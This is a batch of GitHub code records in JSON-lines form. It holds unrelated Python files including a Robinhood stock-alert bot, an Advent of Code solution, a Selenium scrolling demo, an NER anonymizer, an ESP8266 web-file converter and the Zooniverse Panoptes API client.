node_list=accessible_nodes, title='Whole graph highlighting nodes with B&O tokens and extra highlighting for nodes reachable by B&O')\n\n # Plot the graph from bo's broad perspective\n graph18.draw_18xx(bo.graph_perspective, company=bo, node_list=accessible_nodes, title='Sub-graph of nodes that B&O can \"see\", highliting nodes with B&O tokens')\n\n # Plot the graph from bo's narrow perspective\n accessible_nodes = bo.get_perspective(G, True)\n graph18.draw_18xx(bo.graph_perspective, company=bo, node_list=accessible_nodes, title='Sub-graph of nodes that B&O trains could potentially run to, highliting nodes with B&O tokens')\n\n\nif __name__ == '__main__':\n main()\n #try:\n # main()\n #except KeyboardInterrupt as e:\n # raise e\n\n","repo_name":"n-west/graph18","sub_path":"test_graph_gen.py","file_name":"test_graph_gen.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43889724102","text":"import robin_stocks.robinhood as robinhood\nimport pyotp\nfrom datetime import datetime, timedelta\nimport yaml\nimport requests\n\nwith open('config.yaml', encoding='UTF-8') as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n\nKEY = data['API_KEY']\nEMAIL = data[\"EMAIL\"]\nPWD = data[\"PASSWORD\"]\nCODE = data[\"CODE\"]\nDISCORD_WEBHOOK_URL = data[\"DISCORD_WEBHOOK_URL\"]\nBUY_AMOUNT = 1\n\ntopt = pyotp.TOTP(KEY).now()\nlogin = robinhood.login(EMAIL, PWD, mfa_code=CODE)\n\ncompanies = [\"PLTR\", \"DELL\", \"AMZN\", \"EXPE\"]\ncompany_list = {}\ndone = []\ncompany_target = {}\n\nnow = datetime.now()\nyesterday = now - timedelta(days=1)\ntoday_date = now.strftime('%Y-%m-%d')\nyesterday_date = yesterday.strftime('%Y-%m-%d')\n\ndef send_message(msg):\n message = {\"content\": f\"[{now.strftime('%Y-%m-%d %H:%M:%S')}] {str(msg)}\"}\n requests.post(DISCORD_WEBHOOK_URL, data=message)\n\ndef buy(company, amount):\n #robinhood.order_buy_market(company, amount)\n #send_message(\"[Bought \" + str(amount) + \" \" + company + \" stocks]\")\n send_message(\"[Buy \" + company + \" right now!!!]\")\n\ndef sell(company, amount, bought, sold):\n #robinhood.order_sell_market(company, amount)\n #send_message(\"[Sold \" + str(amount) + \" \" + company + \" stocks]\")\n send_message(\"[Sell \" + company + \" for \" + str(float(sold/bought)) + \"% right now!!!]\")\n done.append(company)\n\nfor company in companies:\n company_list[company] = 0\n historical_data = robinhood.stocks.get_stock_historicals(company, interval='day', span='week', bounds='regular')\n yesterday_data = next(data for data in historical_data if data['begins_at'].startswith(yesterday_date))\n\n yesterday_high = float(yesterday_data[\"high_price\"])\n yesterday_low = float(yesterday_data[\"low_price\"])\n\n #today_data = next(data for data in historical_data if data['begins_at'].startswith(today_date))\n start_price = float(yesterday_data[\"close_price\"])\n\n target_price = start_price + (yesterday_high - yesterday_low) * 0.5\n company_target[company] = target_price\n\n\nwhile True:\n current_hour = now.hour\n current_minute = now.minute\n\n if (current_hour == 9 and current_minute >= 30) or (current_hour >= 10 and current_hour < 16):\n for company, bought_price in company_list.items():\n current_price = float(robinhood.stocks.get_latest_price(company)[0])\n target_price = company_target[company]\n\n if current_price >= target_price and bought_price == 0:\n buy(company, BUY_AMOUNT)\n company_list[company] = current_price\n \n if bought_price > 0 and (current_price - bought_price) >= bought_price * 0.015:\n sold_amount = robinhood.build_holdings()[company]['quantity']\n sell(company, sold_amount, company_list[company], current_price)\n \n for d in done:\n if d in company_list:\n company_list.pop(d)\n","repo_name":"shayjin/robinhood-trading-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10742901328","text":"def prepare_input():\n input_data = open(\"input\", \"r\")\n\n lines = input_data.read().split(\"\\n\")\n pairs = []\n for line in lines:\n pairs.append(line.split(','))\n return pairs\n\n\ndef see_if_contains(pair):\n a = pair[0].split('-')\n b = pair[1].split('-')\n if int(a[0]) >= int(b[0]) and int(a[1]) <= int(b[1]):\n return True\n elif int(b[0]) >= int(a[0]) and int(b[1]) <= int(a[1]):\n return True\n else:\n return False\n\n\ndef see_if_overlaps(pair):\n a = pair[0].split('-')\n b = pair[1].split('-')\n if int(b[0]) <= int(a[0]) <= int(b[1]):\n return True\n if int(a[0]) <= int(b[0]) <= int(a[1]):\n return True\n else:\n return False\n\n\n# --- Task 1 ---\nresult = 0\nfor elf_pair in prepare_input():\n if see_if_contains(elf_pair):\n result += 1\nprint(result)\n\n# --- Task 2 ---\nresult = 0\nfor elf_pair in prepare_input():\n if see_if_overlaps(elf_pair):\n result += 1\nprint(result)\n\n","repo_name":"FredericCharon-sys/adv_of_code2022","sub_path":"2022/#04/dec04.py","file_name":"dec04.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25283244341","text":"#调用javascript拖动滚动条\nfrom selenium import webdriver\nimport time\ndriver = webdriver.Firefox()\nurl= 'http://www.baidu.com'\ndriver.get(url)\n#搜索\ntime.sleep(2)\ndriver.find_element_by_id('kw').send_keys('senlenium')\ntime.sleep(3)\ndriver.find_element_by_id('su').click()\n#滚动条拖到底部\njs =\"document.documentElement.scrollTop=10000\"\ntime.sleep(3)\ndriver.execute_script(js)\ntime.sleep(3)\n#滚动条拖动到顶部\njs= \"document.documentElement.scrollTop=0\"\ndriver.execute_script(js)\n\n#左右拖动\n#window_scro||to(左边距,上边距)\n# js = \"window_scro||to(200,1000)\"\n# driver.execute_script(js)\ntime.sleep(3)\ndriver.quit()\n","repo_name":"web326/web2019","sub_path":"python/2018/selenium-简书/操作滚动条.py","file_name":"操作滚动条.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32225125531","text":"from collections import defaultdict\nclass Bitset:\n\n def __init__(self, size: int):\n self.size = size\n self.dict = defaultdict(int)\n self.count1 = 0\n self.flipv = 0\n\n def fix(self, idx: int) -> None:\n if not self.flipv:\n if self.dict[idx] == 0 :\n self.count1 += 1\n self.dict[idx] = 1\n else:\n if self.dict[idx] == 1:\n self.count1 += 1\n self.dict[idx] = 0 \n \n def unfix(self, idx: int) -> None:\n if not self.flipv:\n if self.dict[idx] == 1:\n self.count1 -= 1\n self.dict[idx] = 0\n else:\n if self.dict[idx] == 0:\n self.count1 -= 1\n self.dict[idx] = 1\n\n def flip(self) -> None:\n self.count1 = self.size - self.count1\n self.flipv = 1 - self.flipv\n \n\n def all(self) -> bool:\n return self.count1 == self.size\n \n\n def one(self) -> bool:\n return self.count1 >= 1\n \n\n def count(self) -> int:\n return self.count1\n\n def toString(self) -> str:\n if not self.flipv:\n ans = ['0'] * self.size\n for idx in self.dict.keys():\n if self.dict[idx] ==1:\n ans[idx] = '1'\n else:\n ans = ['1'] * self.size\n for idx in self.dict.keys():\n if self.dict[idx] ==1:\n ans[idx] = '0'\n return \"\".join(ans)\n\n\n# Your Bitset object will be instantiated and called as such:\n# obj = Bitset(size)\n# obj.fix(idx)\n# obj.unfix(idx)\n# obj.flip()\n# param_4 = obj.all()\n# param_5 = obj.one()\n# param_6 = obj.count()\n# param_7 = obj.toString()","repo_name":"chrisbyd/leetcode_chris","sub_path":"top150/2166.py","file_name":"2166.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15037120419","text":"import joblib\n\nfrom apps.ml.ner.allen_nlp_ner import AllenNlpNER\n\nclass W2VAllenNlpNER:\n def __init__(self):\n path_to_artifacts = \"../../ml-models/Anonymization/Word2vec_AllenNLP/\"\n self.model = joblib.load(path_to_artifacts + \"word2vec.joblib\")\n self.tags = [\"LOC\", \"PER\", \"ORG\"]\n\n def fetch_tags(self):\n return {\"tags\": self.tags, \"status\": \"OK\"}\n\n def preprocessing(self, input_data, tag):\n allen_nlp_ner = AllenNlpNER()\n response = allen_nlp_ner.compute_prediction(input_data)\n combined_words_tag_tuples = response[\"prediction\"]\n output = self.extract_particular_tag(combined_words_tag_tuples, tag)\n return output\n\n def predict(self, input_data):\n (final_words, idxs_of_tags) = input_data\n output = self.anonymize(final_words, idxs_of_tags)\n return output\n\n def postprocessing(self, input_data):\n (final_words, look_up) = input_data\n output_string = self.generate_string(final_words)\n return {\"prediction\": output_string, \"lookup\": look_up, \"status\": \"OK\"}\n\n def compute_prediction(self, input_data, tag):\n try:\n input_data = self.preprocessing(input_data, tag)\n prediction = self.predict(input_data)\n prediction = self.postprocessing(prediction)\n except Exception as e:\n return {\"status\": \"Error\", \"message\": str(e)}\n\n return prediction\n\n def extract_particular_tag(self, word_tag_tuples, tag_of_interest):\n final_words = []\n idxs_of_tags = []\n i = 0\n for tpl in word_tag_tuples:\n word = \"\"\n if tpl[1] != 'O':\n word = tpl[0].replace(' ', '_')\n else:\n word = tpl[0]\n\n if tpl[1] == tag_of_interest:\n idxs_of_tags.append(i)\n\n final_words.append(word)\n i+=1\n \n return (final_words, idxs_of_tags)\n\n def anonymize(self, final_words, idxs_of_tags):\n look_up = {}\n top_n = 20\n\n for i in idxs_of_tags:\n lst = []\n w = final_words[i]\n keys = list(look_up.keys())\n values = list(look_up.values())\n if w in keys:\n final_words[i] = look_up[w]\n else:\n if w in self.model.wv.key_to_index:\n lst = self.model.wv.most_similar(w, topn=top_n)\n j=0\n while j* content;\n} files[] = {\n'''\n\n# Mime type - file extension is converted to lower before lookup\nmimeDictionary = {'.jpg':'image/jpeg', '.jpeg':'image/jpeg', '.gif':'image/gif', '.css':'text/css', '.js':'application/javascript',\n '.png':'image/png', '.htm':'text/html', '.html':'text/html', '.txt':'text/plain','.ico':'image/x-icon'}\n\n\n\n\nBytesPerRow = 20 # This determines how wide the file will be\nfileIndex = 0\n\nif os.path.isdir(WEBSITE):\n outFile = open(OUTFILE,'w')\n outFile.write(header)\n os.chdir(WEBSITE)\n files = [f for f in os.listdir(os.curdir) if os.path.isfile(f)] # All the files in the current directory\n print(\"Processed files :\")\n for f in files:\n print(f)\n outFile.write(arrayPreamble + str(fileIndex) + ',\\n ')\n fp = open(f,'rb')\n fileLength = os.fstat(fp.fileno()).st_size\n totalWritten = 0\n bytesWrittenToRow = 0\n while totalWritten < fileLength - 1 :\n b = fp.read(1)\n outFile.write(hex(b[0]) + ',')\n bytesWrittenToRow += 1\n totalWritten +=1\n if bytesWrittenToRow >= BytesPerRow :\n outFile.write('\\n ')\n bytesWrittenToRow = 0\n\n b = fp.read(1)\n outFile.write(hex(b[0]) + '\\n);\\n\\n')\n fp.close()\n fileIndex += 1\n\n outFile.write(structurePrototype)\n fileIndex = 0\n for f in files:\n extension = os.path.splitext(f)[1]\n extension = extension.lower()\n fileLength = os.stat(f).st_size\n fileType = mimeDictionary.get(extension,None)\n if fileType is None:\n import ctypes # An included library with Python install.\n ctypes.windll.user32.MessageBoxA(0, b\"Unknown file type\", b\"File Error\", 0)\n outFile.write(\"-------------Unknown File Type <\" + extension + \"> Found----------------\")\n outFile.close()\n os.chdir('..') # Change back to the parent directory\n sys.exit(1)\n\n outFile.write(' {\\n')\n outFile.write(' .filename = \"' + f + '\",\\n')\n outFile.write(' .mime = \"' + fileType + '\",\\n')\n outFile.write(' .len = ' + str(fileLength) + ',\\n')\n outFile.write(' .content = &file_' + str(fileIndex) + '\\n },\\n')\n fileIndex += 1\n\n outFile.write('};')\n outFile.close()\n os.chdir('..') # Change back to the parent directory\n\nelse:\n print(WEBSITE +\" Directory not found\")\n sys.exit(2)\n","repo_name":"seco/esp8266-webserver","sub_path":"server/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26291437444","text":"from __future__ import absolute_import, division, print_function\nfrom builtins import str\n\nimport logging\nimport os\nimport requests\n\nfrom datetime import datetime, timedelta\n\nif os.environ.get('PANOPTES_DEBUG'):\n logging.basicConfig(level=logging.DEBUG)\n\n\nclass Panoptes(object):\n \"\"\"\n The low-level Panoptes HTTP client class. You should never need to manually\n create an instance of this class, but you will need to import it to log in,\n etc.\n \"\"\"\n\n _client = None\n\n _http_headers = {\n 'default': {\n 'Accept': 'application/vnd.api+json; version=1',\n },\n 'GET': {},\n 'PUT': {\n 'Content-Type': 'application/json',\n },\n 'POST': {\n 'Content-Type': 'application/json',\n },\n 'DELETE': {\n 'Content-Type': 'application/json',\n },\n }\n\n _endpoint_client_ids = {\n 'default': (\n 'f79cf5ea821bb161d8cbb52d061ab9a2321d7cb169007003af66b43f7b79ce2a'\n ),\n 'https://panoptes-staging.zooniverse.org': (\n '535759b966935c297be11913acee7a9ca17c025f9f15520e7504728e71110a27'\n ),\n }\n\n @classmethod\n def connect(cls, *args, **kwargs):\n \"\"\"\n connect(username=None, password=None, endpoint=None, admin=False)\n\n Configures the Panoptes client for use.\n\n Note that there is no need to call this unless you need to pass one or\n more of the below arguments. By default, the client will connect to\n the public Zooniverse.org API as an anonymous user.\n\n Also note that this method only *stores* the given values. It does not\n immediately perform any authentication or attempt to connect to the\n API. If the given credentials are incorrect, the client will raise a\n PanoptesAPIException the first time it makes a request to the API.\n\n All arguments are optional:\n\n - **username** is your Zooniverse.org username.\n - **password** is your Zooniverse.org password.\n - **endpoint** is the HTTP API endpoint you'd like to connect to.\n Defaults to **https://www.zooniverse.org**. Should not include a\n trailing slash.\n - **admin** is a boolean, switching on admin mode if ``True``. Has no\n effect if the given username is not a Zooniverse.org administrator.\n\n\n Examples::\n\n Panoptes.connect(username='example', password='example')\n Panoptes.connect(endpoint='https://panoptes.example.com')\n \"\"\"\n return cls(*args, **kwargs)\n\n @classmethod\n def client(cls):\n if not cls._client:\n cls._client = cls()\n return cls._client\n\n def __init__(\n self,\n endpoint=None,\n client_id=None,\n client_secret=None,\n redirect_url=None,\n username=None,\n password=None,\n admin=False\n ):\n Panoptes._client = self\n\n self.endpoint = endpoint or os.environ.get(\n 'PANOPTES_ENDPOINT',\n 'https://www.zooniverse.org'\n )\n self.username = username or os.environ.get('PANOPTES_USERNAME')\n self.password = password or os.environ.get('PANOPTES_PASSWORD')\n self.redirect_url = \\\n redirect_url or os.environ.get('PANOPTES_REDIRECT_URL')\n self.client_secret = \\\n client_secret or os.environ.get('PANOPTES_CLIENT_SECRET')\n\n if client_id:\n self.client_id = client_id\n elif os.environ.get('PANOPTES_CLIENT_ID'):\n self.client_id = os.environ.get('PANOPTES_CLIENT_ID')\n else:\n self.client_id = self._endpoint_client_ids.get(\n self.endpoint,\n self._endpoint_client_ids['default']\n )\n\n self.logged_in = False\n self.bearer_token = None\n self.admin = admin\n\n self.session = requests.session()\n\n self.logger = logging.getLogger('panoptes_client')\n\n def http_request(\n self,\n method,\n path,\n params={},\n headers={},\n json=None,\n etag=None,\n endpoint=None\n ):\n _headers = self._http_headers['default'].copy()\n _headers.update(self._http_headers[method])\n _headers.update(headers)\n headers = _headers\n\n token = self.get_bearer_token()\n\n if self.logged_in:\n headers.update({\n 'Authorization': 'Bearer %s' % token,\n })\n\n if etag:\n headers.update({\n 'If-Match': etag,\n })\n\n if endpoint:\n url = endpoint + '/' + path\n else:\n url = self.endpoint + '/api' + path\n\n # Setting the parameter at all (even False) turns on admin mode\n if self.admin:\n params.update({'admin': self.admin})\n\n if params:\n self.logger.debug(\n \"params={}\".format(params)\n )\n\n if json:\n self.logger.debug(\n \"json={}\".format(json)\n )\n\n response = self.session.request(\n method,\n url,\n params=params,\n headers=headers,\n json=json\n )\n if response.status_code >= 500:\n raise PanoptesAPIException(\n 'Received HTTP status code {} from API'.format(\n response.status_code\n )\n )\n return response\n\n def json_request(\n self,\n method,\n path,\n params={},\n headers={},\n json=None,\n etag=None,\n endpoint=None\n ):\n response = self.http_request(\n method,\n path,\n params,\n headers,\n json,\n etag,\n endpoint\n )\n\n if (\n response.status_code == 204 or\n int(response.headers.get('Content-Length', -1)) == 0 or\n len(response.text) == 0\n ):\n json_response = None\n else:\n json_response = response.json()\n if 'errors' in json_response:\n raise PanoptesAPIException(', '.join(\n map(lambda e: e.get('message', ''),\n json_response['errors']\n )\n ))\n elif 'error' in json_response:\n raise PanoptesAPIException(json_response['error'])\n\n return (json_response, response.headers.get('ETag'))\n\n def get_request(self, path, params={}, headers={}, endpoint=None):\n return self.http_request(\n 'GET',\n path,\n params=params,\n headers=headers,\n endpoint=endpoint\n )\n\n def get(self, path, params={}, headers={}, endpoint=None):\n return self.json_request(\n 'GET',\n path,\n params=params,\n headers=headers,\n endpoint=endpoint\n )\n\n def put_request(\n self,\n path,\n params={},\n headers={},\n json=None,\n etag=None,\n endpoint=None\n ):\n return self.http_request(\n 'PUT',\n path,\n params=params,\n headers=headers,\n json=json,\n etag=etag,\n endpoint=None\n )\n\n def put(\n self,\n path,\n params={},\n headers={},\n json=None,\n etag=None,\n endpoint=None\n ):\n return self.json_request(\n 'PUT',\n path,\n params=params,\n headers=headers,\n json=json,\n etag=etag,\n endpoint=endpoint\n )\n\n def post_request(\n self,\n path,\n params={},\n headers={},\n json=None,\n etag=None,\n endpoint=None\n ):\n return self.http_request(\n 'post',\n path,\n params=params,\n headers=headers,\n json=json,\n etag=etag,\n endpoint=endpoint\n )\n\n def post(\n self,\n path,\n params={},\n headers={},\n json=None,\n etag=None,\n endpoint=None\n ):\n return self.json_request(\n 'POST',\n path,\n params=params,\n headers=headers,\n json=json,\n etag=etag,\n endpoint=endpoint\n )\n\n def delete_request(\n self,\n path,\n params={},\n headers={},\n json=None,\n etag=None,\n endpoint=None\n ):\n return self.http_request(\n 'delete',\n path,\n params=params,\n headers=headers,\n json=json,\n etag=etag,\n endpoint=None\n )\n\n def delete(\n self,\n path,\n params={},\n headers={},\n json=None,\n etag=None,\n endpoint=None\n ):\n return self.json_request(\n 'DELETE',\n path,\n params=params,\n headers=headers,\n json=json,\n etag=etag,\n endpoint=endpoint\n )\n\n def login(self, username=None, password=None):\n if not username:\n username = self.username\n else:\n self.username = username\n\n if not password:\n password = self.password\n else:\n self.password = password\n\n if not username or not password:\n return\n\n login_data = {\n 'authenticity_token': self.get_csrf_token(),\n 'user': {\n 'login': username,\n 'password': password,\n 'remember_me': True,\n },\n }\n response = self.session.post(\n self.endpoint + '/users/sign_in',\n json=login_data,\n headers = {\n 'Accept': 'application/json',\n 'Content-Type': 'application/json',\n }\n )\n if response.status_code != 200:\n raise PanoptesAPIException(\n response.json().get('error', 'Login failed')\n )\n self.logged_in = True\n return response\n\n def get_csrf_token(self):\n url = self.endpoint + '/users/sign_in'\n headers = {\n 'Accept': 'application/json',\n 'Content-Type': 'application/json',\n }\n return self.session.get(url, headers=headers).headers['x-csrf-token']\n\n def get_bearer_token(self):\n if not self.valid_bearer_token():\n grant_type = 'password'\n\n if self.client_secret:\n grant_type = 'client_credentials'\n\n if not self.logged_in:\n if grant_type is 'password':\n if not self.login():\n return\n\n if (self.bearer_token and self.refresh_token):\n bearer_data = {\n 'grant_type': 'refresh_token',\n 'refresh_token': self.refresh_token,\n 'client_id': self.client_id,\n }\n else:\n bearer_data = {\n 'grant_type': grant_type,\n 'client_id': self.client_id,\n }\n\n if grant_type == 'client_credentials':\n bearer_data['client_secret'] = self.client_secret\n bearer_data['url'] = self.redirect_url\n\n token_response = self.session.post(\n self.endpoint + '/oauth/token',\n bearer_data\n ).json()\n\n if 'errors' in token_response:\n raise PanoptesAPIException(token_response['errors'])\n\n self.bearer_token = token_response['access_token']\n if (self.bearer_token and grant_type == 'client_credentials'):\n self.logged_in = True\n if 'refresh_token' in token_response:\n self.refresh_token = token_response['refresh_token']\n else:\n self.refresh_token = None\n self.bearer_expires = (\n datetime.now()\n + timedelta(seconds=token_response['expires_in'])\n )\n return self.bearer_token\n\n def valid_bearer_token(self):\n # Return invalid if there is no token\n if not self.has_bearer_token():\n return False\n\n now = datetime.now()\n expires = self.bearer_expires\n # Buffer to allow time for requests\n # to fire without expiring in transit\n buffer_ = timedelta(minutes=2)\n\n # Add time to now --> pretend time is later\n # Effect of making token expire earlier\n return now + buffer_ <= expires\n\n def has_bearer_token(self):\n return self.bearer_token is not None\n\nclass PanoptesObject(object):\n \"\"\"\n The base class of all Panoptes model classes. You should never need to\n create instances of this class, but the methods defined here are common to\n all the model subclasses.\n \"\"\"\n\n RESERVED_ATTRIBUTES = (\n '_loaded',\n 'etag',\n 'links',\n 'modified_attributes',\n 'raw',\n )\n\n @classmethod\n def url(cls, *args):\n return '/'.join(['', cls._api_slug] + [str(a) for a in args if a])\n\n @classmethod\n def http_get(cls, path, params={}, headers={}):\n return Panoptes.client().get(\n cls.url(path),\n params,\n headers\n )\n\n @classmethod\n def http_post(cls, path, params={}, headers={}, json=None):\n return Panoptes.client().post(\n cls.url(path),\n params,\n headers,\n json\n )\n\n @classmethod\n def http_put(cls, path, params={}, headers={}, json=None):\n return Panoptes.client().put(\n cls.url(path),\n params,\n headers,\n json\n )\n\n @classmethod\n def http_delete(cls, path, params={}, headers={}, json=None):\n return Panoptes.client().delete(\n cls.url(path),\n params,\n headers,\n json\n )\n\n @classmethod\n def where(cls, **kwargs):\n \"\"\"\n Returns a generator which yields instances matching the given query\n arguments.\n\n For example, this would yield all :py:class:`Project`s::\n\n Project.where()\n\n And this would yield all launch approved :py:class:`Project`s::\n\n Project.where(launch_approved=True)\n \"\"\"\n\n _id = kwargs.pop('id', '')\n return cls.paginated_results(*cls.http_get(_id, params=kwargs))\n\n @classmethod\n def find(cls, _id):\n \"\"\"\n Returns the individual instance with the given ID, if it exists. Raises\n :py:class:`PanoptesAPIException` if the object with that ID is not\n found.\n \"\"\"\n\n if not _id:\n return None\n try:\n return cls.where(id=_id).next()\n except StopIteration:\n raise PanoptesAPIException(\n \"Could not find {} with id='{}'\".format(cls.__name__, _id)\n )\n\n @classmethod\n def paginated_results(cls, response, etag):\n return ResultPaginator(cls, response, etag)\n\n def __init__(self, raw={}, etag=None):\n self._loaded = False\n self.links = LinkResolver(self)\n\n if type(raw) == dict:\n self.set_raw(raw, etag)\n return\n\n self.raw = {}\n self.raw['id'] = raw\n\n def __getattr__(self, name):\n try:\n if (\n name not in PanoptesObject.RESERVED_ATTRIBUTES\n and name is not 'id'\n and not self._loaded\n ):\n self.reload()\n return getattr(self, name)\n return self.raw[name]\n except KeyError:\n if name == 'id':\n return None\n raise AttributeError(\"'%s' object has no attribute '%s'\" % (\n self.__class__.__name__,\n name\n ))\n\n def __setattr__(self, name, value):\n if name in PanoptesObject.RESERVED_ATTRIBUTES or name not in self.raw:\n return super(PanoptesObject, self).__setattr__(name, value)\n\n if name not in self._edit_attributes:\n raise ReadOnlyAttributeException(\n '{} is read-only'.format(name)\n )\n\n if not self._loaded:\n self.reload()\n\n self.raw[name] = value\n self.modified_attributes.add(name)\n\n def __repr__(self):\n return '<{} {}>'.format(\n self.__class__.__name__,\n self.id\n )\n\n def set_raw(self, raw, etag=None):\n self.raw = {}\n self.raw.update(self._savable_dict(include_none=True))\n self.raw.update(raw)\n self.etag = etag\n self.modified_attributes = set()\n\n self._loaded = True\n\n def _savable_dict(\n self,\n attributes=None,\n modified_attributes=None,\n include_none=False,\n ):\n if not attributes:\n attributes = self._edit_attributes\n out = []\n for key in attributes:\n if type(key) == dict:\n for subkey, subattributes in key.items():\n if (\n subkey == 'links' and\n hasattr(self, 'links') and\n modified_attributes and\n 'links' in modified_attributes\n ):\n out.append(\n (subkey, self.links._savable_dict(subattributes))\n )\n else:\n out.append((subkey, self._savable_dict(\n attributes=subattributes,\n include_none=include_none\n )))\n elif modified_attributes and key not in modified_attributes:\n continue\n else:\n value = self.raw.get(key)\n if value is not None or include_none:\n out.append((key, value))\n return dict(out)\n\n def save(self):\n \"\"\"\n Saves the object. If the object has not been saved before (i.e. it's\n new), then a new object is created. Otherwise, any changes are\n submitted to the API.\n \"\"\"\n\n if not self.id:\n save_method = Panoptes.client().post\n force_reload = False\n else:\n save_method = Panoptes.client().put\n force_reload = True\n\n response, response_etag = save_method(\n self.url(self.id),\n json={self._api_slug: self._savable_dict(\n modified_attributes=self.modified_attributes\n )},\n etag=self.etag\n )\n\n raw_resource_response = response[self._api_slug][0]\n self.set_raw(raw_resource_response, response_etag)\n\n if force_reload:\n self._loaded = False\n\n return response\n\n def reload(self):\n \"\"\"\n Re-fetches the object from the API, discarding any local changes.\n Returns without doing anything if the object is new.\n \"\"\"\n\n if not self.id:\n return\n reloaded_object = self.__class__.find(self.id)\n self.set_raw(\n reloaded_object.raw,\n reloaded_object.etag\n )\n\nclass ResultPaginator(object):\n def __init__(self, object_class, response, etag):\n if response is None:\n response = {}\n\n self.object_class = object_class\n self.set_page(response)\n self.etag = etag\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.object_index >= self.object_count:\n if self.object_count and self.next_href:\n response, _ = Panoptes.client().get(self.next_href)\n self.set_page(response)\n return self.next()\n else:\n raise StopIteration\n\n i = self.object_index\n self.object_index += 1\n return self.object_class(self.object_list[i], etag=self.etag)\n next = __next__\n\n def set_page(self, response):\n self.meta = response.get('meta', {})\n self.meta = self.meta.get(self.object_class._api_slug, {})\n self.page = self.meta.get('page', 1)\n self.page_count = self.meta.get('page_count', 1)\n self.next_href = self.meta.get('next_href')\n self.object_list = response.get(self.object_class._api_slug, [])\n self.object_count = len(self.object_list)\n self.object_index = 0\n\nclass LinkResolver(object):\n types = {}\n\n @classmethod\n def register(cls, object_class, link_slug=None):\n if not link_slug:\n link_slug = object_class._link_slug\n cls.types[link_slug] = object_class\n\n def __init__(self, parent):\n self.parent = parent\n\n def __getattr__(self, name):\n if not self.parent._loaded:\n self.parent.reload()\n\n linked_object = self.parent.raw['links'][name]\n object_class = LinkResolver.types.get(name)\n if (\n not object_class and\n type(linked_object == dict) and\n 'type' in linked_object\n ):\n object_class = LinkResolver.types.get(linked_object['type'])\n\n\n if type(linked_object) == list:\n return [object_class(_id) for _id in linked_object]\n if type(linked_object) == dict and 'id' in linked_object:\n return object_class(linked_object['id'])\n else:\n return object_class(linked_object)\n\n def __setattr__(self, name, value):\n reserved_names = ('raw', 'parent')\n if name not in reserved_names and name in self.parent.raw['links']:\n if not self.parent._loaded:\n self.parent.reload()\n if isinstance(value, PanoptesObject):\n value = value.id\n self.parent.raw['links'][name] = value\n self.parent.modified_attributes.add('links')\n else:\n super(LinkResolver, self).__setattr__(name, value)\n\n def _savable_dict(self, edit_attributes):\n out = []\n for key, value in self.parent.raw['links'].items():\n if not key in edit_attributes:\n continue\n if type(key) == list:\n out.append((key, [ o.id for o in value ]))\n else:\n if value:\n out.append((key, value))\n return dict(out)\n\nclass PanoptesAPIException(Exception):\n \"\"\"\n Raised whenever the API returns an error. The exception will contain the\n raw error message from the API.\n \"\"\"\n pass\n\nclass ReadOnlyAttributeException(Exception):\n \"\"\"\n Raised if an attempt is made to modify an attribute of a\n :py:class:`PanoptesObject` which the API does not allow to be modified.\n \"\"\"\n\n pass\n\n\nclass Talk(object):\n def __init__(self, endpoint='https://talk.zooniverse.org/'):\n self.endpoint = endpoint\n\n def http_get(self, *args, **kwargs):\n kwargs['endpoint'] = self.endpoint\n return Panoptes.client().get(*args, **kwargs)\n\n def http_post(self, *args, **kwargs):\n kwargs['endpoint'] = self.endpoint\n return Panoptes.client().post(*args, **kwargs)\n\n def http_put(self, *args, **kwargs):\n kwargs['endpoint'] = self.endpoint\n return Panoptes.client().put(*args, **kwargs)\n\n def http_delete(self, *args, **kwargs):\n kwargs['endpoint'] = self.endpoint\n return Panoptes.client().delete(*args, **kwargs)\n\n def get_data_request(self, section, kind):\n return self.http_get(\n 'data_requests',\n params={\n 'section': section,\n 'kind': kind,\n }\n )\n\n def post_data_request(self, section, kind):\n return self.http_post(\n 'data_requests',\n json={\n 'data_requests': {\n 'section': section,\n 'kind': kind,\n }\n }\n )\n","repo_name":"rvalenzuelar/panoptes-python-client","sub_path":"panoptes_client/panoptes.py","file_name":"panoptes.py","file_ext":"py","file_size_in_byte":24044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"40102935918","text":"import sys,os\n\ndef listToTree(pathlist, separator=\"\\\\\"):\n data = []\n\n def getElement(root, key):\n ret = None\n for sub in root[1]:\n if sub[0] == key:\n ret = sub\n return ret\n\n def getLabel(elem):\n return elem[0]\n\n def getChildren(elem):\n return elem[1]\n\n for elem in pathlist:\n pieces = elem.split(separator)\n for i in range(len(pieces)):\n if i == 0:\n if pieces[i] not in map(getLabel, data):\n data.append((pieces[i], []))\n else:\n current = (\"\", data)\n for j in range(i):\n current = getElement(current, pieces[j])\n if pieces[i] not in map(getLabel, getChildren(current)):\n current[1].append((pieces[i], []))\n\n return data\n\ndef getHome():\n if sys.platform.startswith('linux'):\n return os.getenv(\"HOME\")\n else:\n return os.getenv(\"HOMEPATH\")","repo_name":"agentOfChaos/oversized_syringe","sub_path":"gui/adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"34533290854","text":"import numpy as np\nimport scipy.special as sp\n\n\"\"\"\nThe focus of this test is the total number of times that a particular state is visited (i.e., occurs) in a\ncumulative sum random walk. The purpose of this test is to detect deviations from the expected number\nof visits to various states in the random walk. This test is actually a series of eighteen tests (and\nconclusions), one test and conclusion for each of the states: -9, -8, ..., -1 and +1, +2, ..., +9.\n\n\"\"\"\n\nMIN_BITS = 0\n\nclass RandomExcursionsVariant:\n\n def __init__(self, bits, p_threshold = 0.01):\n\n self.bits = bits\n self.p_threshold = 